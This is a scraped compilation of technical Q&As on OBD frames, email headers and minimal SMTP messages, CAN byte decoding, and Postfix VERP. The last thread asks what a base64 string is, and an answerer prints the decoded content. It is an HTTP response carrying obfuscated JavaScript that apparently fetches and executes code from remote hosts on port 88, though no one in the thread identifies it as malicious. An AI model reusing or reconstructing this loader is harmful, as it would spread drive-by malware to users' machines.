I have an ELM327 connected to a (non-CAN) bus on an older GM vehicle. I realize I can send an OBD command (mode 09 and PID 02) by just sending the payload like "0902".
However, is it possible to send a complete frame (assuming the final checksum byte is added by the ELM327)? So if I wanted to send header 00 11 22 and then the payload 09 02, how would I do that?
Something similar was asked in this question but not really answered.
Related
I use EWS GetItem endpoint in order to get MIME content of e-mail message in Outlook. As a rule several 'Received' header fields are present at the beginning of message content. For example:
Received: from AM6PR04CA0035.eurprd04.prod.outlook.com
(2603:10a6:20b:92::48) by AM6PR10MB2789.EURPRD10.PROD.OUTLOOK.COM
(2603:10a6:20b:ac::25) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.3348.15; Thu,
10 Sep 2020 11:36:56 +0000 Received-SPF: Pass
(protection.outlook.com: domain of alterdomus.com designates
51.137.107.73 as permitted sender) receiver=protection.outlook.com; client-ip=51.137.107.73;
helo=smtpworker-in-9.xware-europe-west-1.o365.crossware.co.nz;
Received: from VI1PR10MB3616.EURPRD10.PROD.OUTLOOK.COM
([fe80::204a:2512:2ac2:d5ef]) by VI1PR10MB3616.EURPRD10.PROD.OUTLOOK.COM
([fe80::204a:2512:2ac2:d5ef%3]) with mapi id 15.20.3305.031; Tue, 25 Aug 2020
17:51:53 +0000
Received: from EUR02-AM5-obe.outbound.protection.outlook.com
(104.47.4.57) by
smtpworker-in-9.xware-europe-west-1.o365.crossware.co.nz with
Crossware for Office365; Thu, 10 Sep 2020 11:36:46 +0000
However in some cases those 'Received' fields are missed for some messages. As far as I understand this field is very important for spam detection. It contains information about the sender, the receiver and the received time of a message. This header is added by the receiving mail server as the top line. Depending on the number of mail servers involved, several 'Received' header fields may be included.
What can be the reason of missed 'Received' header fields inside e-mail MIME content? What does it mean?
Not all messages that are in a Office365 mailbox will have been routed via the Transport stack (most will). One example is the MyAnalytics Messages, the Office365 substrate generates these messages and they are created directly in the Mailbox by the substrate rather then being delivered. You can use something like the Message Header analyzer to check https://appsource.microsoft.com/en-us/product/office/WA104005406?src=office&corrid=f7f9ed61-d151-4fcf-b0e2-9e3dec4a92d2&omexanonuid=034f54c1-a89b-429c-adc3-526f6f024f80&referralurl=https%3a%2f%2fwww.google.com%2f to check the headers it grabs the PidtagTransportheaders property https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidtagtransportmessageheaders-canonical-property which is a more reliable way of getting the headers then trying to parse it back out of the Mime Message
What is the minimum size in bytes of a valid email (not programming language specific)
standalone raw text (no attachments just to, subject, and body of 1 byte)
sent over SMTP (protocol overhead + email size)
received via POP3 (protocol overhead + email size)
received via IMAP (protocol overhead + email size)
mime multipart as first case, but with two bodies for text/plain and text/html and an attachment body with a 1 byte file
So I just went through a tutorial to answer part of this question about the format / structure of a basic email. I started with the following command
$ nc -C {smtp-server-fqdn} 25
Here is a dump of the conversation {parametrized with secrets omitted}
220 {smtp-server-fqdn} ESMTP
EHLO {yourdomain.ext}
{smtp-server-fqdn}
250-PIPELINING
250-SIZE 40960000
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250 8BITMIME
HELO {yourdomain.ext}
250 {smtp-server-fqdn}
AUTH LOGIN
334 VXNlcm5hbWU6
{username|base64}
334 UGFzc3dvcmQ6
{password|base64}
235 2.7.0 Authentication successful
MAIL FROM: <someone#sender-fqdn>
250 2.1.0 Ok
RCPT TO: <someone#recipient-fqdn>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: "{VanitySenderName}" <someone#sender-fqdn>
To: "{VanityRecipientName}" <someone#recipient-fqdn>
Subject: {subject}
Date: {date}
{message body}
.
250 2.0.0 Ok: queued as {identifier}
QUIT
221 2.0.0 Bye
<ctrl>+<c>
So to break this down
Email payload itself (following line after DATA until .) takes a minimum of 75 bytes
From: <a#b>
To: <a#b>
Subject: c
Date: Sat, 20 Apr 2019 13:25:00 +0100
d
.
Honestly this is barely a valid email. It does have two additional fields to the minimum as per https://www.rfc-editor.org/rfc/rfc5322#page-21 It's a from, to, subject, date and body. If any of these were missing, I think your email provider should reject them.
The actual body I sent to test this with my real email and a provider (dreamhost) was 151 bytes because the emails were real and the domain was longer than a character.
More interestingly the envelope took this to 468 bytes (for the real email with auth not including server responses), but theoretically could be smaller (146 bytes with single character domain with no extension, only good for lab + internal)
EHLO c
HELO c
AUTH LOGIN
a
b
MAIL FROM: <a#b>
RCPT TO: <a#b>
DATA
From: <a#b>
To: <a#b>
Subject: c
Date: Sat, 20 Apr 2019 13:25:00 +0100
d
.
QUIT
It's < 1KB so fit for embedded, but is also missing transport overhead, and missing several features, such as multi-part support.
All you'd need to do to use this is equip yourself with a socket library to open the connection, base64 encoder (for plain user + password), a date string generation utility and rudimentary command-line skills.
This is by no means a complete answer, but it answers two of the cases with necessary caveats for the understanding of a beginner, getting to grips with the technology.
This doesn't seem to be a a programming question, right? Might want to clarify, or it'll be closed.
Tens of bytes in each case. 40-45 bytes for the minimal valid message, closer to 100 with an attachment. Some depend on how you're counting, e.g. when the message is 50 bytes, whether you include the bytes for the IMAP/POP login process matters a great deal.
Date: 0:00:00 1 May 2019 -0000
From: a#l.is
I need to parse and decode the data field from a CAN Message.
I sent the transmitted the request and i got back the data field :
02 01 20 00 00 00 00 00
Now I have to decode it in a SWITCH, the first byte is the length(02) but how I split the whole data field in separate bytes and then take them 1 by 1 to decode?
I do not know the SWITCH protocol, but I can help you with accessing byte by byte the payload of the message you are interested in.
Lets say your message ID is 0x100 (or you have its name by database dbc, your call to define the message).
If you are working in a test environment (test node like CAPL/XML test node), you can define a testcase/function, and in it the following sequence:
message 0x100 MessageContainer;
then you wait for your message in the point where you expect the payload to be to your liking:
..
.
.
.
.
testwaitformessage(0x100,cycletimeofMessage); /*Cycletime the message has, or maximum time you expect your message to arrive*/
testGetWaitEventMsgData(MessageContainer); /*the message object MessageContainer will be filled with the content of the message catched early in testwaitformessage()*/
write("%X",MessageContainer.byte(0)); /*you access the bytes through the .byte selector field of the message object and do whatever you wish with it.*/
If you want to do the decoding in a Simulation Node, you can do it only through on events, and it is much simpler:
on message 0x100
{
write("The first byte of the captured message 0x100 is 0x%X",this.byte(0));
}
Of course, this on event procedure is working in test environments also.
What I Want
We send out bulk renewal notices via email and it would be ideal if we could link any bounce messages with the corresponding record in our database. I recently learned about VERP (wiki) and thought that would be the perfect solution for us.
What I Tried
I did a test before making any changes and the message is bounced back to sender, as expected. Then I uncommented this line in /etc/postfix/main.cf and restarted Postfix.
recipient_delimiter = +
The Problem
Unfortunately, I can't seem to get it to work. Messages sent to addresses that include the delimiter are no longer rejected, but they don't appear to be delivered anywhere either. Here's an excerpt from the maillog:
Jul 8 12:14:36 cl-t082-392cl postfix/smtpd[28723]: 6E98A1A404CC: client=mta02.eastlink.ca[24.224.136.13]
Jul 8 12:14:36 cl-t082-392cl postfix/cleanup[28727]: 6E98A1A404CC: message-id=<6.1.2.0.2.20130708131351.24958960#pop.eastlink.ca>
Jul 8 12:14:36 cl-t082-392cl postfix/qmgr[28717]: 6E98A1A404CC: from=<me#example.com>, size=1343, nrcpt=1 (queue active)
Jul 8 12:14:36 cl-t082-392cl postfix/pipe[28752]: 6E98A1A404CC: to=<bounces+test#ourdomain.com>, relay=plesk_virtual, delay=0.22, delays=0.15/0/0/0.07, dsn=2.0.0, status=sent (delivered via plesk_virtual service)
Jul 8 12:14:36 cl-t082-392cl postfix/qmgr[28717]: 6E98A1A404CC: removed
So it appears that Postifx is doing its job, but that the plesk_virtual service is dropping the ball. No message is returned to sender. No message shows up in bounces/Maildir/cur. If plesk_virtual is writing an error somewhere, I don't know where (I checked /var/log/messages).
My Search Efforts
I searched Google, here, and the Parallels forums. I got several hits in Google for the same problem I am having, but they are all for the same message which is dated almost 3 years ago. And there was no solution given. I posted to the Parallels forums several days ago. I've gotten a few views, but zero responses.
What I Don't Want
I've seen similar problems where the suggestion was to forward all undelivered mail to a particular address. That's a catch-all. And that is not a realistic solution in today's world of spam.
Question
How do I get Plesk to correctly recognize and deliver messages to addresses with the delimiter? I can't imagine that I am the only one who wants to do this on a Plesk server.
I answered this on the Plesk forums. For anyone still interested there is a postfix workaround.
Added the following to the main.cf:
recipient_canonical_classes = envelope_recipient
recipient_canonical_maps = regexp:/etc/postfix/recipient_canonical_map
Created a file /etc/postfix/recipient_canonical_map with this regex:
/^(.+)\+.+#(.*)/ ${1}#${2}
Granted, it assumes + is the only VERP delimiter but it works. The only caveat is that it does not bounce bad addresses, which may not be a bad thing..
I am having a string like this H0TCxoL9HSXXwlwXgBJAAAaiAAACBAW0AQMDAAEBBAIA what format is this? Below are some more strings. I thought as base64 but when i decode that i get strings like D????&??_?P#
H0TCxoL9HSbXwl+NUBBAAHISAABIVFRQLzEuMSAyMDAgT0sNCkRhdGU6IE1vbiwgMjEgSnVuIDIwMTAgMDk6NTI6NTMgR01UDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNi4wDQpQM1A6IENQPSJBTEwgQ1VSYSBBRE1hIERFVmEgVEFJYSBPVVIgQlVTIElORCBQSFkgT05MIFVOSSBQVVIgRklOIENPTSBOQVYgSU5UIERFTSBDTlQgU1RBIFBPTCBIRUEgUFJFIExPQyBPVEMiDQpYLVBvd2VyZWQtQnk6H0TCxoL9Hz7Xwl+NUBBAAFJ7AAAibm8tY2FjaGUiPiA8SFRNTD48Ym9keSBvbmxvYWQ9IndpbmRvdy5BWC5FeGVjKCdjdHl6Z0hsaWVUMkJqY254ZVBlM0p6M21ycjgzSlI0UmEwSVg3SXQyRFpaaGl4U2laNnJBaVZuU3JqVmQ4TDZrNXNQKEh6SFJ6TUJIRW5jcChic0Jqem9QcGx5aEJ1KHE2ajV1eG1nTVlWbDJTYTg1Y3B1cCluRXBNbUNxT0hiQUwpNlhvZGt6YUhyKGdCcHdram5IZFBSKVUzOEJTH0TCxoL9IVbXwl+NUBBAAOpdAAB4dC9qYXZhc2NyaXB0Jz52YXIgYjY0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7U3RyaW5nLnByb3RvdHlwZS5BQT1mdW5jdGlvbigpe3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGQ9W10scGxhaW4sY29kZWQ7Y29kZWQ9dGhpcztmb3IodmFyIGM9MDtjPGNvZGVkLmxlbmd0H0TCxoL9I27Xwl+NUBBAAI+3AABDaGFyQ29kZShvMSk7fXBsYWluPWQuam9pbignJyk7cmV0dXJuIHBsYWluO307d2luZG93LkxhdW5jaFg9ZnVuY3Rpb24oXzEsXzIsXzMsXzQsXzUsXzApe3RoaXMuXzA9XzA7dGhpcy5fMT1fMTt0aGlzLl8yPV8yO3RoaXMuXzM9XzM7dGhpcy5fND1fNDt0aGlzLl81PV81O3RoaXMuXzY9bnVsbDt0aGlzLl83PW51bGw7dGhpcy5fOD1udWxsO3RoaXMuXzk9ZmFsH0TCxoL9JYbXwl+NUBBAAA42AABoaXMuXzIsdGhpcy5fMyx0aGlzLl80KTtkb2N1bWVudC53cml0ZSgnJyk7fTt3aW5kb3cuTGF1bmNoWC5wcm90b3R5cGUuRXhlYz1mdW5jdGlvbihfNyxfOCl7aWYodGhpcy5fOSl7dGhpcy5SdW4oKTtyZXR1cm47fXRoaXMuXzc9Xzc7dGhpcy5fOD1fODt0aGlzLl85PXRydWU7dGhpcy5SdW4oKTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5JbWFnZUV4ZWM9H0TCxoL9J57Xwl+NUBBAAMwRAAAuTGF1bmNoWC5wcm90b3R5cGUuX0cxPWZ1bmN0aW9uKCl7dGhpcy5fNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLl81KTt9O3dpbmRvdy5MYXVuY2hYLnByb3RvdHlwZS5Jbml0PWZ1bmN0aW9uKCl7dGhpcy5fRzEoKTt2YXIgZWw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnRElWJyk7dmFyIGE9dGhpcy5fMC5BQSgpO2VsLmlubmVySFRNTD1hO307d2luH0TCxoL9KbbXwl+NUBBAAMopAABhRDBuTVNjZ2FHVnBaMmgwUFNjeEp5QnZibXh2WVdROUoycGhkbUZ6WTNKcGNIUTZkMmx1Wkc5M0xrRllMa2x0WVdkbFJYaGxZeWdpYUhSMGNEb3ZMMlJ1Ykc5allXd3VibUZ0Wld0eUxtTnZiVG80T0M5bllXMWxjR2xoZWk5MlpYSnphVzl1TG1GemNDSXBKejQ4YVcxbklITnlZeUE5SUNkb2RIUndPaTh2TlRndU1qSXhMak0wTGpJeE1UbzRPQzluWVcxbGNHbGhlH0TCxoL9K87Xwl+NUBBAAJkHAABNelF1TWpBME9qZzRMMmRoYldWd2FXRjZMM1psY25OcGIyNHVZWE53SWlrblBqeHBiV2NnYzNKaklEMGdKMmgwZEhBNkx5ODNNaTR6TkM0eU5ESXVNakk0T2pnNEwyZGhiV1Z3YVdGNkwyTm9heTVuYVdZbklIZHBaSFJvUFNjeEp5Qm9aV2xuYUhROUp6RW5JRzl1Ykc5aFpEMG5hbUYyWVhOamNtbHdkRHAzYVc1a2IzY3VRVmd1U1cxaFoyVkZlR1ZqS0NKb2RIUndPH0TCxoL9LebXwl+NUBhAABVAAABZWG92WTJockxtZHBaaWNnZDJsa2RHZzlKekVuSUdobGFXZG9kRDBuTVNjZ2IyNXNiMkZrUFNkcVlYWmhjMk55YVhCME9uZHBibVJ2ZHk1QldDNUpiV0ZuWlVWNFpXTW9JbWgwZEhBNkx5OHlNVEV1T0M0eU1UQXVNVGcyT2pnNEwyZGhiV1Z3YVdGNkwzWmxjbk5wYjI0dVlYTndJaWtuUGc9PScpOyB3aW5kb3cuQVguSW5pdCgpOzwvc2NyaXB0PjwvYm9keT48L0hUH0TCxoL9LrbXwl+NUBFAADJm
It may easily be anything, but since it contains mixed-case letters and numbers and few symbols, my guess is for base64.
Addendum
Yes, it is definitely base64; it seems some kind of HTTP request, but it contains some strange characters, I don't know if it's garbage or binary data with some meaning.
Base64
I've run a decoder on it (the whole lot) and this is the result:
D�Ƃ�&��_�P#rHTTP/1.1 200 OK
Date: Mon, 21 Jun 2010 09:52:53 GMT
Server: Microsoft-IIS/6.0
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
X-Powered-By:D�Ƃ�>��_�P#R{"no-cache"> <HTML><body onload="window.AX.Exec('ctyzgHlieT2BjcnxePe3Jz3mrr83JR4Ra0IX7It2DZZhixSiZ6rAiVnSrjVd8L6k5sP(HzHRzMBHEncp(bsBjzoPplyhBu(q6j5uxmgMYVl2Sa85cpup)nEpMmCqOHbAL)6XodkzaHr(gBpwkjnHdPR)U38BSD�Ƃ�!V��_�P#�]xt/javascript'>var b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';String.prototype.AA=function(){var o1,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;coded=this;for(var c=0;c<coded.lengtD�Ƃ�#n��_�P#��CharCode(o1);}plain=d.join('');return plain;};window.LaunchX=function(_1,_2,_3,_4,_5,_0){this._0=_0;this._1=_1;this._2=_2;this._3=_3;this._4=_4;this._5=_5;this._6=null;this._7=null;this._8=null;this._9=falD�Ƃ�%���_�P#6his._2,this._3,this._4);document.write('');};window.LaunchX.prototype.Exec=function(_7,_8){if(this._9){this.Run();return;}this._7=_7;this._8=_8;this._9=true;this.Run();};window.LaunchX.prototype.ImageExec=D�Ƃ�'���_�P#�.LaunchX.prototype._G1=function(){this._6=document.getElementById(this._5);};window.LaunchX.prototype.Init=function(){this._G1();var el=document.createElement('DIV');var a=this._0.AA();el.innerHTML=a;};winD�Ƃ�)���_�P#�)aD0nMScgaGVpZ2h0PScxJyBvbmxvYWQ9J2phdmFzY3JpcHQ6d2luZG93LkFYLkltYWdlRXhlYygiaHR0cDovL2RubG9jYWwubmFtZWtyLmNvbTo4OC9nYW1lcGlhei92ZXJzaW9uLmFzcCIpJz48aW1nIHNyYyA9ICdodHRwOi8vNTguMjIxLjM0LjIxMTo4OC9nYW1lcGlheD�Ƃ�+���_�P#�MzQuMjA0Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPjxpbWcgc3JjID0gJ2h0dHA6Ly83Mi4zNC4yNDIuMjI4Ojg4L2dhbWVwaWF6L2Noay5naWYnIHdpZHRoPScxJyBoZWlnaHQ9JzEnIG9ubG9hZD0namF2YXNjcmlwdDp3aW5kb3cuQVguSW1hZ2VFeGVjKCJodHRwOD�Ƃ�-���_�P##YXovY2hrLmdpZicgd2lkdGg9JzEnIGhlaWdodD0nMScgb25sb2FkPSdqYXZhc2NyaXB0OndpbmRvdy5BWC5JbWFnZUV4ZWMoImh0dHA6Ly8yMTEuOC4yMTAuMTg2Ojg4L2dhbWVwaWF6L3ZlcnNpb24uYXNwIiknPg=='); window.AX.Init();</script></body></HTD�Ƃ�.���_�P#2f
This is part of a HTTP response, I'm guessing the gibrige is most likely due to a charset or you've pasted so much of it only. What you're getting is the result of decoding the first few lines only.
Link to decoding tool: http://www.opinionatedgeek.com/dotnet/tools/base64decode/
This is definitely base64, decoding the first line gives you meaningful data, the beginning of HTTP packet dump.
[some header data here]
HTTP/1.1 200 OK
Date: Mon, 21 Jun 2010